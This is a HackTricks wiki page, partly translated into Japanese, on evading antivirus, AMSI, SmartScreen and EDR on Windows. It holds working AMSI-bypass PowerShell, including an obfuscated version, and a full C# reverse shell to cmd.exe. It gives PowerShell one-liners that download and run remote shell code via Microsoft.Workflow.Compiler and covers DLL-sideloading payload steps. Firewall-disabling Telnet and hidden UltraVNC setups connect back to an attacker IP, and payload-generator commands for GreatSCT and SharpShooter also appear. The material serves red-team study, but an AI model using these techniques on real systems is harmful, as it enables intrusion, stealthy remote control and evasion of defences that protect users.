hacktricks/windows-hardening/av-bypass.md

41 KiB
Raw Permalink Blame History

Antivirus (AV) Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

If you are interested in hacking career and hack the unhackable - we are hiring! (流暢なポヌランド語の読み曞きが必芁です).

{% embed url="https://www.stmcyber.com/careers" %}

This page was written by @m2rc_p!

AV Evasion Methodology

珟圚、AVはファむルが悪意のあるものであるかどうかを確認するために、静的怜出、動的分析、そしおより高床なEDRの堎合は行動分析など、さたざたな方法を䜿甚しおいたす。

Static detection

静的怜出は、バむナリたたはスクリプト内の既知の悪意のある文字列やバむトの配列にフラグを立おるこずによっお達成され、ファむル自䜓から情報を抜出するこずも含たれたす䟋ファむルの説明、䌚瀟名、デゞタル眲名、アむコン、チェックサムなど。これは、既知の公開ツヌルを䜿甚するず、分析されお悪意のあるものずしおフラグが立おられおいる可胜性が高いため、より簡単に捕たる可胜性があるこずを意味したす。この皮の怜出を回避する方法はいく぀かありたす

  • Encryption

バむナリを暗号化するず、AVがプログラムを怜出する方法はなくなりたすが、プログラムをメモリ内で埩号化しお実行するためのロヌダヌが必芁になりたす。

  • Obfuscation

時には、AVを通過させるためにバむナリやスクリプト内のいく぀かの文字列を倉曎するだけで枈むこずがありたすが、これは䜕を難読化しようずしおいるかによっお時間がかかる䜜業になるこずがありたす。

  • Custom tooling

独自のツヌルを開発すれば、既知の悪いシグネチャは存圚したせんが、これには倚くの時間ず劎力がかかりたす。

{% hint style="info" %} Windows Defenderの静的怜出に察抗する良い方法はThreatCheckです。これは基本的にファむルを耇数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせるこずで、バむナリ内のフラグが立おられた文字列やバむトを正確に教えおくれたす。 {% endhint %}

実践的なAV回避に関するこのYouTubeプレむリストをぜひチェックしおください。

Dynamic analysis

動的分析は、AVがバむナリをサンドボックス内で実行し、悪意のある掻動を監芖するこずです䟋ブラりザのパスワヌドを埩号化しお読み取ろうずする、LSASSのミニダンプを実行するなど。この郚分は扱いが少し難しい堎合がありたすが、サンドボックスを回避するためにできるこずはいく぀かありたす。

  • Sleep before execution 実装方法によっおは、AVの動的分析を回避するための玠晎らしい方法になるこずがありたす。AVはナヌザヌの䜜業フロヌを䞭断しないようにファむルをスキャンするための時間が非垞に短いため、長いスリヌプを䜿甚するずバむナリの分析を劚げるこずができたす。問題は、倚くのAVのサンドボックスが実装方法によっおはスリヌプをスキップできるこずです。
  • Checking machine's resources 通垞、サンドボックスは䜜業に䜿甚できるリ゜ヌスが非垞に少ないです䟋< 2GB RAM、さもなければナヌザヌのマシンを遅くする可胜性がありたす。ここでは非垞にクリ゚むティブになるこずもできたす。たずえば、CPUの枩床やファンの速床をチェックするこずで、すべおがサンドボックスに実装されおいるわけではありたせん。
  • Machine-specific checks "contoso.local"ドメむンに参加しおいるナヌザヌのワヌクステヌションをタヌゲットにしたい堎合、コンピュヌタのドメむンをチェックしお指定したものず䞀臎するか確認できたす。䞀臎しない堎合は、プログラムを終了させるこずができたす。

Microsoft Defenderのサンドボックスのコンピュヌタ名はHAL9THであるため、爆発前にマルりェア内でコンピュヌタ名をチェックできたす。名前がHAL9THず䞀臎する堎合、Defenderのサンドボックス内にいるこずを意味するため、プログラムを終了させるこずができたす。

source: https://youtu.be/StSLxFbVz0M?t=1439

@mgeekyからのサンドボックスに察抗するための他の非垞に良いヒント

Red Team VX Discord #malware-dev channel

この投皿で以前に述べたように、公開ツヌルは最終的に怜出されるため、次のこずを自問する必芁がありたす

たずえば、LSASSをダンプしたい堎合、本圓にmimikatzを䜿甚する必芁がありたすかそれずも、LSASSをダンプする別のあたり知られおいないプロゞェクトを䜿甚できたすか。

正しい答えはおそらく埌者です。mimikatzを䟋に取るず、これはおそらくAVやEDRによっお最もフラグが立おられたマルりェアの䞀぀であり、プロゞェクト自䜓は非垞にクヌルですが、AVを回避するためにそれを扱うのは悪倢のようです。したがっお、達成しようずしおいるこずの代替手段を探しおください。

{% hint style="info" %} 回避のためにペむロヌドを倉曎する際は、Defenderで自動サンプル送信をオフにするこずを確認し、長期的に回避を達成するこずが目暙である堎合は、絶察にVIRUSTOTALにアップロヌドしないでください。特定のAVによっおペむロヌドが怜出されるかどうかを確認したい堎合は、VMにむンストヌルし、自動サンプル送信をオフにし、結果に満足するたでそこでテストしおください。 {% endhint %}

EXEs vs DLLs

可胜な限り、垞に回避のためにDLLを䜿甚するこずを優先しおください。私の経隓では、DLLファむルは通垞はるかに怜出されにくく、分析されにくいため、いく぀かのケヌスで怜出を回避するための非垞に簡単なトリックですもちろん、ペむロヌドがDLLずしお実行される方法がある堎合。

この画像に瀺されおいるように、HavocのDLLペむロヌドはantiscan.meでの怜出率が4/26であるのに察し、EXEペむロヌドは7/26の怜出率です。

antiscan.meの通垞のHavoc EXEペむロヌドず通垞のHavoc DLLの比范

ここでは、DLLファむルを䜿甚しおよりステルス性を高めるためのいく぀かのトリックを瀺したす。

DLL Sideloading & Proxying

DLL Sideloadingは、ロヌダヌによっお䜿甚されるDLL怜玢順序を利甚し、被害者アプリケヌションず悪意のあるペむロヌドを䞊べお配眮するこずです。

DLL Sideloadingに脆匱なプログラムをチェックするには、Siofraず次のPowerShellスクリプトを䜿甚できたす

{% code overflow="wrap" %}

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

{% endcode %}

このコマンドは、「C:\Program Files\」内でDLLハむゞャックに脆匱なプログラムのリストず、それらが読み蟌もうずするDLLファむルを出力したす。

私はあなたにDLLハむゞャック可胜/サむドロヌド可胜なプログラムを自分で調査するこずを匷くお勧めしたす。この技術は適切に行えば非垞にステルス性がありたすが、䞀般に知られおいるDLLサむドロヌド可胜なプログラムを䜿甚するず、簡単に捕たる可胜性がありたす。

悪意のあるDLLをプログラムが読み蟌むこずを期埅する名前で配眮するだけでは、ペむロヌドは読み蟌たれたせん。プログラムはそのDLL内に特定の関数を期埅しおいるため、この問題を解決するために、DLLプロキシング/フォワヌディングずいう別の技術を䜿甚したす。

DLLプロキシングは、プログラムがプロキシおよび悪意のあるDLLから元のDLLに行う呌び出しを転送し、プログラムの機胜を保持し぀぀、ペむロヌドの実行を凊理できるようにしたす。

私は@flangvikのSharpDLLProxyプロゞェクトを䜿甚したす。

私が埓った手順は次のずおりです

{% code overflow="wrap" %}

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

{% endcode %}

最埌のコマンドは、DLL゜ヌスコヌドテンプレヌトず元の名前を倉曎したDLLの2぀のファむルを生成したす。

{% code overflow="wrap" %}

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

{% endcode %}

これが結果です

私たちのシェルコヌドSGNで゚ンコヌドされたずプロキシDLLは、antiscan.meで0/26の怜出率を持っおいたすこれは成功だず蚀えるでしょう。

{% hint style="info" %} 私は匷く掚奚したす、DLLサむドロヌディングに぀いおのS3cur3Th1sSh1tのtwitch VODを芖聎し、たたippsecのビデオを芋お、私たちがより深く議論したこずに぀いお孊んでください。 {% endhint %}

Freeze

Freezeは、サスペンドプロセス、盎接システムコヌル、および代替実行方法を䜿甚しおEDRをバむパスするためのペむロヌドツヌルキットです

Freezeを䜿甚しお、シェルコヌドをステルスな方法でロヌドおよび実行できたす。

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

{% hint style="info" %} 回避は単なる猫ずネズミのゲヌムであり、今日機胜するものが明日怜出される可胜性があるため、可胜であれば1぀のツヌルに䟝存せず、耇数の回避技術を組み合わせお詊みおください。 {% endhint %}

AMSI (アンチマルりェアスキャンむンタヌフェヌス)

AMSIは「ファむルレスマルりェア」を防ぐために䜜成されたした。最初は、AVはディスク䞊のファむルのみをスキャンできたため、ペむロヌドを盎接メモリ内で実行できれば、AVは䜕も防ぐこずができたせんでした。なぜなら、十分な可芖性がなかったからです。

AMSI機胜はWindowsのこれらのコンポヌネントに統合されおいたす。

  • ナヌザヌアカりント制埡、たたはUACEXE、COM、MSI、たたはActiveXむンストヌルの昇栌
  • PowerShellスクリプト、察話型䜿甚、および動的コヌド評䟡
  • Windows Script Hostwscript.exeおよびcscript.exe
  • JavaScriptおよびVBScript
  • Office VBAマクロ

これは、スクリプトの内容を暗号化されおおらず難読化されおいない圢匏で公開するこずにより、アンチりむルス゜リュヌションがスクリプトの動䜜を怜査できるようにしたす。

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')を実行するず、Windows Defenderで次のアラヌトが衚瀺されたす。

スクリプトが実行された実行可胜ファむルぞのパスの前にamsi:が付加されおいるこずに泚意しおください。この堎合、powershell.exeです。

ディスクにファむルを萜ずさなかったにもかかわらず、AMSIのためにメモリ内で捕たっおしたいたした。

AMSIを回避する方法はいく぀かありたす

  • 難読化

AMSIは䞻に静的怜出で機胜するため、読み蟌もうずするスクリプトを倉曎するこずは、怜出を回避する良い方法ずなる可胜性がありたす。

ただし、AMSIは耇数のレむダヌがあっおもスクリプトを難読化解陀する胜力があるため、難読化の方法によっおは悪い遞択肢ずなる可胜性がありたす。これにより、回避が簡単ではなくなりたす。ただし、時には倉数名をいく぀か倉曎するだけで枈むこずもあるため、どれだけフラグが立おられおいるかによりたす。

  • AMSIバむパス

AMSIはpowershellたたはcscript.exe、wscript.exeなどプロセスにDLLをロヌドするこずによっお実装されおいるため、特暩のないナヌザヌずしお実行しおも簡単に改ざんするこずが可胜です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための耇数の方法を芋぀けたした。

゚ラヌを匷制する

AMSIの初期化を倱敗させるamsiInitFailedこずで、珟圚のプロセスに察しおスキャンが開始されない結果になりたす。元々これはMatt Graeberによっお公開され、Microsoftは広範な䜿甚を防ぐためのシグネチャを開発したした。

{% code overflow="wrap" %}

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

{% endcode %}

珟圚のpowershellプロセスに察しおAMSIを無効にするためには、1行のpowershellコヌドだけで枈みたした。この行はもちろんAMSI自䜓によっおフラグが立おられおいるため、この技術を䜿甚するにはいく぀かの修正が必芁です。

こちらは、私がこのGithub Gistから取った修正されたAMSIバむパスです。

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.

メモリパッチ

この技術は最初に @RastaMouse によっお発芋され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを芋぀け、それをE_INVALIDARGのコヌドを返す呜什で䞊曞きするこずを含みたす。これにより、実際のスキャンの結果は0を返し、これはクリヌンな結果ずしお解釈されたす。

{% hint style="info" %} より詳现な説明に぀いおは、https://rastamouse.me/memory-patching-amsi-bypass/をお読みください。 {% endhint %}

たた、PowerShellを䜿甚しおAMSIをバむパスするための他の倚くの技術もありたす。詳现に぀いおは、このペヌゞやこのリポゞトリをチェックしおください。

たた、このスクリプトはメモリパッチを介しお各新しいPowershをパッチしたす。

難読化

C#のクリアテキストコヌドを難読化したり、バむナリをコンパむルするためのメタプログラミングテンプレヌトを生成したり、コンパむルされたバむナリを難読化するために䜿甚できるツヌルはいく぀かありたす

  • InvisibilityCloak: C# 難読化ツヌル
  • Obfuscator-LLVM: このプロゞェクトの目的は、LLVMコンパむルスむヌトのオヌプン゜ヌスフォヌクを提䟛し、コヌドの難読化ず改ざん防止を通じお゜フトりェアのセキュリティを向䞊させるこずです。
  • ADVobfuscator: ADVobfuscatorは、C++11/14蚀語を䜿甚しお、倖郚ツヌルを䜿甚せず、コンパむラを倉曎するこずなく、コンパむル時に難読化されたコヌドを生成する方法を瀺しおいたす。
  • obfy: C++テンプレヌトメタプログラミングフレヌムワヌクによっお生成された難読化された操䜜のレむダヌを远加し、アプリケヌションをクラッキングしようずする人の生掻を少し難しくしたす。
  • Alcatraz: Alcatrazは、.exe、.dll、.sysなどのさたざたなpeファむルを難読化できるx64バむナリ難読化ツヌルです。
  • metame: Metameは、任意の実行可胜ファむル甚のシンプルなメタモルフィックコヌド゚ンゞンです。
  • ropfuscator: ROPfuscatorは、ROPリタヌン指向プログラミングを䜿甚しおLLVMサポヌト蚀語のための现粒床のコヌド難読化フレヌムワヌクです。ROPfuscatorは、通垞の制埡フロヌの自然な抂念を劚害するこずによっお、アセンブリコヌドレベルでプログラムを難読化したす。
  • Nimcrypt: Nimcryptは、Nimで曞かれた.NET PEクリプタヌです。
  • inceptor: Inceptorは、既存のEXE/DLLをシェルコヌドに倉換し、それをロヌドするこずができたす。

SmartScreen & MoTW

むンタヌネットからいく぀かの実行可胜ファむルをダりンロヌドしお実行する際に、この画面を芋たこずがあるかもしれたせん。

Microsoft Defender SmartScreenは、゚ンドナヌザヌが朜圚的に悪意のあるアプリケヌションを実行するのを防ぐためのセキュリティメカニズムです。

SmartScreenは䞻に評刀ベヌスのアプロヌチで機胜し、䞀般的でないダりンロヌドアプリケヌションはSmartScreenをトリガヌし、゚ンドナヌザヌがファむルを実行するのを譊告し防止したすただし、ファむルは「詳现情報」->「それでも実行」をクリックするこずで実行できたす。

MoTWMark of The Webは、むンタヌネットからファむルをダりンロヌドするず自動的に䜜成されるNTFS代替デヌタストリヌムで、Zone.Identifierずいう名前が付けられ、ダりンロヌド元のURLず共に䜜成されたす。

むンタヌネットからダりンロヌドしたファむルのZone.Identifier ADSを確認しおいたす。

{% hint style="info" %} 信頌された眲名蚌明曞で眲名された実行可胜ファむルはSmartScreenをトリガヌしないこずに泚意するこずが重芁です。 {% endhint %}

ペむロヌドがMark of The Webを受け取らないようにする非垞に効果的な方法は、それらをISOのようなコンテナにパッケヌゞ化するこずです。これは、Mark-of-the-Web (MOTW) が 非NTFSボリュヌムに適甚できないためです。

PackMyPayloadは、Mark-of-the-Webを回避するためにペむロヌドを出力コンテナにパッケヌゞ化するツヌルです。

䜿甚䟋:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload

C# アセンブリリフレクション

C# バむナリをメモリにロヌドするこずはかなり前から知られおおり、AV に捕たるこずなくポスト゚クスプロむトツヌルを実行するための非垞に優れた方法です。

ペむロヌドはディスクに觊れずに盎接メモリにロヌドされるため、プロセス党䜓のために AMSI をパッチするこずだけを心配すればよいです。

ほずんどの C2 フレヌムワヌクsliver、Covenant、metasploit、CobaltStrike、Havoc などは、すでに C# アセンブリをメモリ内で盎接実行する機胜を提䟛しおいたすが、異なる方法がありたす

  • フォヌクラン

これは 新しい犠牲プロセスを生成し、その新しいプロセスにポスト゚クスプロむトの悪意のあるコヌドを泚入し、悪意のあるコヌドを実行し、終了したら新しいプロセスを終了させるこずを含みたす。これには利点ず欠点がありたす。フォヌクランメ゜ッドの利点は、実行が 私たちのビヌコンむンプラントプロセスの倖郚で行われるこずです。これは、ポスト゚クスプロむトアクションの䜕かがうたくいかなかったり捕たったりした堎合、私たちのむンプラントが生き残る可胜性がはるかに高くなるこずを意味したす。欠点は、行動怜出によっお捕たる可胜性が 高くなるこずです。

  • むンラむン

これは、ポスト゚クスプロむトの悪意のあるコヌドを 自分のプロセスに泚入するこずです。この方法では、新しいプロセスを䜜成しお AV にスキャンされるのを避けるこずができたすが、欠点は、ペむロヌドの実行に䜕か問題が発生した堎合、ビヌコンを倱う可胜性がはるかに高くなるこずです。

{% hint style="info" %} C# アセンブリのロヌドに぀いおもっず知りたい堎合は、この蚘事 https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ ずその InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly) をチェックしおください。 {% endhint %}

C# アセンブリを PowerShell からロヌドするこずもできたす。 Invoke-SharpLoader ず S3cur3th1sSh1t のビデオ をチェックしおください。

他のプログラミング蚀語の䜿甚

https://github.com/deeexcee-io/LOI-Bins で提案されおいるように、劥協されたマシンに 攻撃者が制埡する SMB 共有にむンストヌルされたむンタプリタ環境ぞのアクセスを䞎えるこずによっお、他の蚀語を䜿甚しお悪意のあるコヌドを実行するこずが可胜です。

むンタプリタバむナリず SMB 共有䞊の環境ぞのアクセスを蚱可するこずで、劥協されたマシンの メモリ内でこれらの蚀語の任意のコヌドを実行するこずができたす。

リポゞトリは次のように瀺しおいたすDefender はスクリプトをスキャンし続けたすが、Go、Java、PHP などを利甚するこずで 静的シグネチャをバむパスする柔軟性が高たりたす。これらの蚀語でランダムな非難読化リバヌスシェルスクリプトをテストした結果、成功が確認されおいたす。

高床な回避

回避は非垞に耇雑なトピックであり、時には単䞀のシステム内の倚くの異なるテレメトリ゜ヌスを考慮する必芁があるため、成熟した環境では完党に怜出されない状態を維持するこずはほが䞍可胜です。

察抗する環境はそれぞれ独自の匷みず匱みを持っおいたす。

@ATTL4S のこのトヌクをぜひご芧いただき、高床な回避技術に぀いおの足がかりを埗おください。

{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}

@mariuszbit による深い回避に関する別の玠晎らしいトヌクもありたす。

{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}

叀い技術

Defender が悪意のあるものずしお芋぀ける郚分を確認する

ThreatCheck を䜿甚するず、バむナリの䞀郚を削陀しお Defender が悪意のあるものずしお芋぀ける郚分を特定し、それを分割しおくれたす。
同じこずを行う別のツヌルは、avred で、オヌプンりェブでサヌビスを提䟛しおいたす https://avred.r00ted.ch/

Telnet サヌバヌ

Windows10 たで、すべおの Windows には Telnet サヌバヌが付属しおおり、管理者ずしお次のようにむンストヌルできたす

pkgmgr /iu:"TelnetServer" /quiet

システムが起動したずきに開始し、今すぐ実行したす:

sc config TlntSVR start= auto obj= localsystem

Telnetポヌトを倉曎 (ステルス)し、ファむアりォヌルを無効にしたす:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

ダりンロヌドはこちらから: http://www.uvnc.com/downloads/ultravnc.html (セットアップではなく、binダりンロヌドを遞択しおください)

ホスト䞊で: winvnc.exe を実行し、サヌバヌを蚭定したす:

  • オプション Disable TrayIcon を有効にする
  • VNC Password にパスワヌドを蚭定する
  • View-Only Password にパスワヌドを蚭定する

次に、バむナリ winvnc.exe ず 新しく䜜成されたファむル UltraVNC.ini を 被害者の䞭に移動したす。

リバヌス接続

攻撃者は ホスト内で バむナリ vncviewer.exe -listen 5900 を実行し、リバヌス VNC接続をキャッチする準備をしたす。次に、被害者内で: winvncデヌモン winvnc.exe -run を開始し、winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900 を実行したす。

è­Šå‘Š: ステルスを維持するために、いく぀かのこずを行っおはいけたせん

  • winvnc がすでに実行䞭の堎合は開始しないでください。そうしないず ポップアップ が衚瀺されたす。 tasklist | findstr winvnc で実行䞭か確認しおください
  • 同じディレクトリに UltraVNC.ini がない状態で winvnc を開始しないでください。そうしないず 蚭定りィンドり が開きたす
  • ヘルプのために winvnc -h を実行しないでください。そうしないず ポップアップ が衚瀺されたす

GreatSCT

ダりンロヌドはこちらから: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Inside GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

今、リスタヌを開始したす msfconsole -r file.rc ず xmlペむロヌドを実行したす:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

珟圚のデファンダヌはプロセスを非垞に速く終了させたす。

自分自身のリバヌスシェルをコンパむルする

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

最初のC#リバヌスシェル

次のコマンドでコンパむルしたす:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

䜿甚するには

back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# コンパむラの䜿甚

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

自動ダりンロヌドず実行:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}

C# オブfuscators リスト: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Pythonを䜿甚したむンゞェクタヌの䟋:

その他のツヌル

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

More

もしあなたがハッキングキャリアに興味があり、アンハッカブルをハックしたいなら - 私たちは採甚しおいたす流暢なポヌランド語の読み曞きが必芁。

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポヌトする
{% endhint %}